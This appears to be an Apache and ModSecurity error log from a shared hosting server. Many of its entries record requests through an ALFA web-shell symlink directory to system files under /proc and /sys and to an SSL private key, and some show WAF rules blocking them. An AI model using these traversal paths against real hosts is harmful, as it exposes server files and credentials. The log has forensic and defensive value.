[Sun Oct 25 00:46:29.132553 2026] [core:error] [pid 2762190:tid 2762190] (13)Permission denied: [client 85.208.96.201:27096] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/rpc_inode_cache/slabs_cpu_partial
[Sun Oct 25 00:46:42.339915 2026] [ssl:error] [pid 2762199:tid 2762199] (70014)End of file found: [client 34.205.163.103:13500] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:46:46.370661 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 54.166.104.83:65251] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:47:23.892779 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 52.203.68.145:38954] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:47:26.415922 2026] [core:error] [pid 2759096:tid 2759096] (13)Permission denied: [client 54.83.180.239:63582] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0400:00/subsystem/devices/PNP0A03:00/device:03/physical_node/remove
[Sun Oct 25 00:47:29.429384 2026] [security2:error] [pid 2762145:tid 2762145] [client 185.191.171.4:16522] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/a5635_2ef93_770b6f3275533fe92c0fa27a4a7fc6ea.key"] [unique_id "at2J4VTnwNJm6o1fQZIgNwAAAAI"]
[Sun Oct 25 00:47:29.429842 2026] [security2:error] [pid 2762145:tid 2762145] [client 185.191.171.4:16522] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/a5635_2ef93_770b6f3275533fe92c0fa27a4a7fc6ea.key"] [unique_id "at2J4VTnwNJm6o1fQZIgNwAAAAI"]
[Sun Oct 25 00:47:29.430241 2026] [security2:error] [pid 2762145:tid 2762145] [client 185.191.171.4:16522] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/a5635_2ef93_770b6f3275533fe92c0fa27a4a7fc6ea.key"] [unique_id "at2J4VTnwNJm6o1fQZIgNwAAAAI"]
[Sun Oct 25 00:47:34.518361 2026] [ssl:error] [pid 2762190:tid 2762190] (70014)End of file found: [client 98.84.60.17:19515] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:47:43.665894 2026] [core:error] [pid 2762183:tid 2762183] (13)Permission denied: [client 185.191.171.14:45812] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dentry/align
[Sun Oct 25 00:47:50.458265 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 52.204.89.12:51196] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:47:57.875354 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 52.4.238.8:3342] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:47:58.516704 2026] [core:error] [pid 2762190:tid 2762190] (13)Permission denied: [client 54.197.82.195:21990] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory14/node0/cpu1/firmware_node/eject
[Sun Oct 25 00:48:18.541498 2026] [core:error] [pid 2762182:tid 2762182] (13)Permission denied: [client 23.21.204.95:43316] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/ACPI0010:00/LNXCPU:00/physical_node/node0/memory1/node0/compact
[Sun Oct 25 00:48:19.230744 2026] [authz_core:error] [pid 2762188:tid 2762188] [client 77.67.26.75:10846] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 00:48:19.730819 2026] [authz_core:error] [pid 2762199:tid 2762199] [client 200.138.46.39:3672] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 00:48:22.681969 2026] [ssl:error] [pid 2762182:tid 2762182] (70014)End of file found: [client 35.169.119.108:39000] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:48:26.370183 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 3.217.171.106:24468] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:48:30.282233 2026] [ssl:error] [pid 2762190:tid 2762190] (70014)End of file found: [client 54.152.163.42:65460] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:48:42.220945 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 98.84.70.201:6566] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:48:50.331169 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 44.223.115.10:20485] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:49:02.218769 2026] [core:error] [pid 2762149:tid 2762149] (13)Permission denied: [client 3.230.224.6:40003] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory3/node0/memory7/subsystem/uevent
[Sun Oct 25 00:49:13.124166 2026] [security2:error] [pid 2762182:tid 2762182] [client 3.213.106.226:25651] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "beta.sherwinpinturas.com"] [uri "/bullet.php"] [unique_id "at2KR7Cux6YzXC46yX1OgwAAACY"]
[Sun Oct 25 00:49:13.124246 2026] [security2:error] [pid 2762182:tid 2762182] [client 3.213.106.226:25651] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "beta.sherwinpinturas.com"] [uri "/bullet.php"] [unique_id "at2KR7Cux6YzXC46yX1OgwAAACY"]
[Sun Oct 25 00:49:14.317562 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 52.73.142.41:46615] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:49:17.958925 2026] [authz_core:error] [pid 2762190:tid 2762190] [client 94.231.206.11:59607] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 00:49:18.179335 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 54.209.100.30:16073] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:49:22.182079 2026] [ssl:error] [pid 2762199:tid 2762199] (5)Input/output error: [client 184.73.195.18:26742] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:49:26.202643 2026] [ssl:error] [pid 2762183:tid 2762183] (70014)End of file found: [client 18.204.89.56:12957] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:49:30.197087 2026] [core:error] [pid 2759096:tid 2759096] (13)Permission denied: [client 44.208.193.63:43176] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/exar_serial/remove_id
[Sun Oct 25 00:49:38.163217 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 54.84.161.62:39255] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:49:46.176808 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 52.45.92.83:49959] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:49:50.168022 2026] [ssl:error] [pid 2762190:tid 2762190] (70014)End of file found: [client 98.83.178.66:41496] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:49:58.175053 2026] [core:error] [pid 2762199:tid 2762199] (13)Permission denied: [client 52.6.232.201:41453] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:00/physical_node/i2c-0/device/subsystem/drivers/uhci_hcd/0000:00:01.2/rescan
[Sun Oct 25 00:50:14.249052 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 50.16.72.185:7067] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:50:19.574150 2026] [core:error] [pid 2762149:tid 2762149] (13)Permission denied: [client 85.208.96.199:24672] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDPLITEv6/cpu_slabs
[Sun Oct 25 00:50:22.182531 2026] [ssl:error] [pid 2762199:tid 2762199] (70014)End of file found: [client 184.72.84.154:33700] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:50:26.173191 2026] [ssl:error] [pid 2762183:tid 2762183] (5)Input/output error: [client 18.204.152.114:7010] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:50:42.156356 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 52.4.213.199:25270] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:50:46.184470 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 98.84.60.17:13489] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:50:50.298472 2026] [ssl:error] [pid 2762190:tid 2762190] (70014)End of file found: [client 52.203.152.231:42759] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:50:56.126239 2026] [security2:error] [pid 2762199:tid 2762199] [client 146.19.248.35:44562] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\s+(?:\\\\w{3,7}?://[\\\\w\\\\-\\\\./]*(?::\\\\d+)?)?/[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?|connect (?:\\\\d{1,3}\\\\.){3}\\\\d{1,3}\\\\.?(?::\\\\d+)?|options \\\\*)\\\\s+[\\\\w\\\\./]+|get /[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "47"] [id "920100"] [rev "2"] [msg "Invalid HTTP Request Line"] [data "CONNECT cloudflare.com:443 HTTP/1.1"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_REQ"] [tag "CAPEC-272"] [hostname "cloudflare.com"] [uri "/"] [unique_id "at2KsBzh2uHYztX7tG5ltQAAADw"]
[Sun Oct 25 00:51:06.488384 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 54.167.32.123:28317] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:51:10.287434 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 34.234.200.207:5383] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:51:14.198347 2026] [ssl:error] [pid 2762190:tid 2762190] (70014)End of file found: [client 98.83.10.183:2565] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:51:22.166399 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 54.221.203.24:49800] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:51:26.175505 2026] [ssl:error] [pid 2762183:tid 2762183] (70014)End of file found: [client 18.232.11.247:1786] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:51:42.156854 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 54.84.250.51:22609] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:51:43.655317 2026] [core:error] [pid 2762190:tid 2762190] (13)Permission denied: [client 85.208.96.207:12516] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-8/ctor
[Sun Oct 25 00:51:50.191085 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 54.80.185.200:43949] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:51:54.153926 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 34.239.197.197:3306] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:51:59.551399 2026] [core:error] [pid 2762182:tid 2762182] (13)Permission denied: [client 185.191.171.19:57256] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/i2c-adapter/i2c-0/new_device
[Sun Oct 25 00:52:10.186254 2026] [ssl:error] [pid 2762190:tid 2762190] (70014)End of file found: [client 52.203.65.83:49639] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:52:14.151268 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 54.243.63.52:63407] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:52:14.933608 2026] [core:error] [pid 2759074:tid 2759074] (13)Permission denied: [client 185.191.171.11:62462] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-128/align
[Sun Oct 25 00:52:18.156740 2026] [ssl:error] [pid 2762183:tid 2762183] (70014)End of file found: [client 34.226.89.140:9511] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:52:21.108253 2026] [core:error] [pid 2762182:tid 2762182] (13)Permission denied: [client 85.208.96.202:31978] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-2k/objects_partial
[Sun Oct 25 00:52:26.157485 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 98.84.200.43:37110] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:52:30.158088 2026] [ssl:error] [pid 2762190:tid 2762190] (70014)End of file found: [client 52.2.191.202:28768] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:52:34.177065 2026] [ssl:error] [pid 2762199:tid 2762199] (70014)End of file found: [client 54.225.81.20:10615] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:52:38.283356 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 35.169.119.108:56600] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:52:50.215985 2026] [ssl:error] [pid 2762182:tid 2762182] (70014)End of file found: [client 100.29.34.97:12963] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:52:54.405827 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 44.193.102.198:33702] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:52:58.160431 2026] [ssl:error] [pid 2762190:tid 2762190] (70014)End of file found: [client 3.89.170.186:65349] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:53:02.225370 2026] [ssl:error] [pid 2762199:tid 2762199] (70014)End of file found: [client 34.192.67.98:56626] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:53:06.012985 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 185.191.171.9:19450] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:53:06.139788 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 44.210.213.220:11778] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:53:10.420889 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 50.16.216.166:43643] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:53:22.880502 2026] [security2:error] [pid 2762190:tid 2762190] [client 49.51.233.46:44072] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/betaok/"] [unique_id "at2LQsmYnImk6kHi8hyMoAAAADA"]
[Sun Oct 25 00:53:30.162758 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 52.3.102.51:34811] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:53:44.401200 2026] [security2:error] [pid 2759057:tid 2759057] [client 185.191.171.10:21984] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/www/sesion2/class.smtp.php"] [unique_id "at2LWGnoVolia533WIkhAQAAADQ"]
[Sun Oct 25 00:53:44.401257 2026] [security2:error] [pid 2759057:tid 2759057] [client 185.191.171.10:21984] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/www/sesion2/class.smtp.php"] [unique_id "at2LWGnoVolia533WIkhAQAAADQ"]
[Sun Oct 25 00:53:46.156451 2026] [core:error] [pid 2762183:tid 2762183] (13)Permission denied: [client 100.28.44.58:36982] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/device:05/physical_node/resource1
[Sun Oct 25 00:54:10.144128 2026] [ssl:error] [pid 2762182:tid 2762182] (70014)End of file found: [client 44.208.193.63:11052] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:54:14.228564 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 3.93.211.16:52628] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:54:21.039135 2026] [core:error] [pid 2762183:tid 2762183] (13)Permission denied: [client 185.191.171.14:19910] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/RAW/cpu_partial
[Sun Oct 25 00:54:26.154079 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 34.227.156.153:44507] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:54:30.157546 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 98.82.107.102:32013] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:54:34.168303 2026] [core:error] [pid 2762182:tid 2762182] (13)Permission denied: [client 3.230.69.161:30891] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/subsystem/devices/device:07/eject
[Sun Oct 25 00:54:38.153684 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 35.173.18.61:12607] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:54:42.175180 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 34.225.243.131:51098] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:54:46.158305 2026] [ssl:error] [pid 2762183:tid 2762183] (70014)End of file found: [client 184.72.95.195:31512] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:54:50.189987 2026] [core:error] [pid 2762145:tid 2762145] (13)Permission denied: [client 23.21.148.226:1794] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/device:06/physical_node/driver/0000:00:05.0/resource0
[Sun Oct 25 00:54:54.285459 2026] [ssl:error] [pid 2762199:tid 2762199] (70014)End of file found: [client 85.208.96.208:18682] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:54:58.148068 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 18.235.81.246:23725] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:55:18.148825 2026] [security2:error] [pid 2762145:tid 2762145] [client 44.210.213.220:64398] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input3/subsystem/input0/event0/subsystem/input1/device/firmware_node/physical_node1/"] [unique_id "at2LtlTnwNJm6o1fQZIgSAAAAAI"]
[Sun Oct 25 00:55:18.148873 2026] [security2:error] [pid 2762145:tid 2762145] [client 44.210.213.220:64398] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input3/subsystem/input0/event0/subsystem/input1/device/firmware_node/physical_node1/"] [unique_id "at2LtlTnwNJm6o1fQZIgSAAAAAI"]
[Sun Oct 25 00:55:22.217643 2026] [core:error] [pid 2762190:tid 2762190] (13)Permission denied: [client 3.94.40.182:8150] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/PNP0A03:00/device:1a/eject
[Sun Oct 25 00:55:38.158901 2026] [ssl:error] [pid 2762182:tid 2762182] (70014)End of file found: [client 35.171.117.160:42571] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:56:10.133907 2026] [core:error] [pid 2762190:tid 2762190] (13)Permission denied: [client 18.213.27.222:10262] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:15/subsystem/devices/device:17/subsystem/drivers/pvpanic/bind
[Sun Oct 25 00:56:18.275684 2026] [security2:error] [pid 2759096:tid 2759096] [client 3.216.227.216:44593] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input1/event1/subsystem/event0/subsystem/event3/device/mouse1/device/"] [unique_id "at2L8mTNY6y0aXZ6joCa8gAAADk"]
[Sun Oct 25 00:56:18.275753 2026] [security2:error] [pid 2759096:tid 2759096] [client 3.216.227.216:44593] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input1/event1/subsystem/event0/subsystem/event3/device/mouse1/device/"] [unique_id "at2L8mTNY6y0aXZ6joCa8gAAADk"]
[Sun Oct 25 00:56:22.210266 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 52.2.83.227:1862] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:56:26.152975 2026] [security2:error] [pid 2762145:tid 2762145] [client 35.169.102.85:15573] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event3/device/subsystem/mice/subsystem/event2/"] [unique_id "at2L-lTnwNJm6o1fQZIgSwAAAAI"]
[Sun Oct 25 00:56:26.153016 2026] [security2:error] [pid 2762145:tid 2762145] [client 35.169.102.85:15573] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event3/device/subsystem/mice/subsystem/event2/"] [unique_id "at2L-lTnwNJm6o1fQZIgSwAAAAI"]
[Sun Oct 25 00:56:30.137510 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 3.232.82.72:36463] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:56:35.617940 2026] [ssl:error] [pid 2762199:tid 2762199] (70014)End of file found: [client 85.208.96.200:44374] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:56:36.769783 2026] [core:error] [pid 2762149:tid 2762149] (13)Permission denied: [client 185.191.171.3:42206] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ebitmap_node/objs_per_slab
[Sun Oct 25 00:56:46.357394 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 44.216.172.204:16654] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:56:50.132828 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 54.204.62.163:6259] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:56:54.145645 2026] [core:error] [pid 2762145:tid 2762145] (13)Permission denied: [client 44.218.6.93:27407] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/virtio-pci/0000:00:04.0/resource4
[Sun Oct 25 00:56:59.976087 2026] [core:error] [pid 2759074:tid 2759074] (13)Permission denied: [client 185.191.171.17:10658] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/cred_jar/cpu_partial
[Sun Oct 25 00:57:14.154145 2026] [ssl:error] [pid 2762182:tid 2762182] (70014)End of file found: [client 18.213.240.226:19382] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:57:15.347756 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 85.208.96.195:16300] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:57:18.145973 2026] [ssl:error] [pid 2762183:tid 2762183] (70014)End of file found: [client 50.17.193.48:22722] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:57:34.191042 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 54.145.82.217:57981] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:57:42.183150 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 54.159.18.27:49624] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:58:06.150115 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 3.221.244.28:17366] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:58:14.446601 2026] [core:error] [pid 2759074:tid 2759074] (13)Permission denied: [client 18.213.240.226:10853] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/physical_node/subsystem/drivers/ohci-pci/uevent
[Sun Oct 25 00:58:15.862790 2026] [core:crit] [pid 2762183:tid 2762183] (13)Permission denied: [client 216.244.66.250:39670] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2195758/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2195758/fd/' is executable
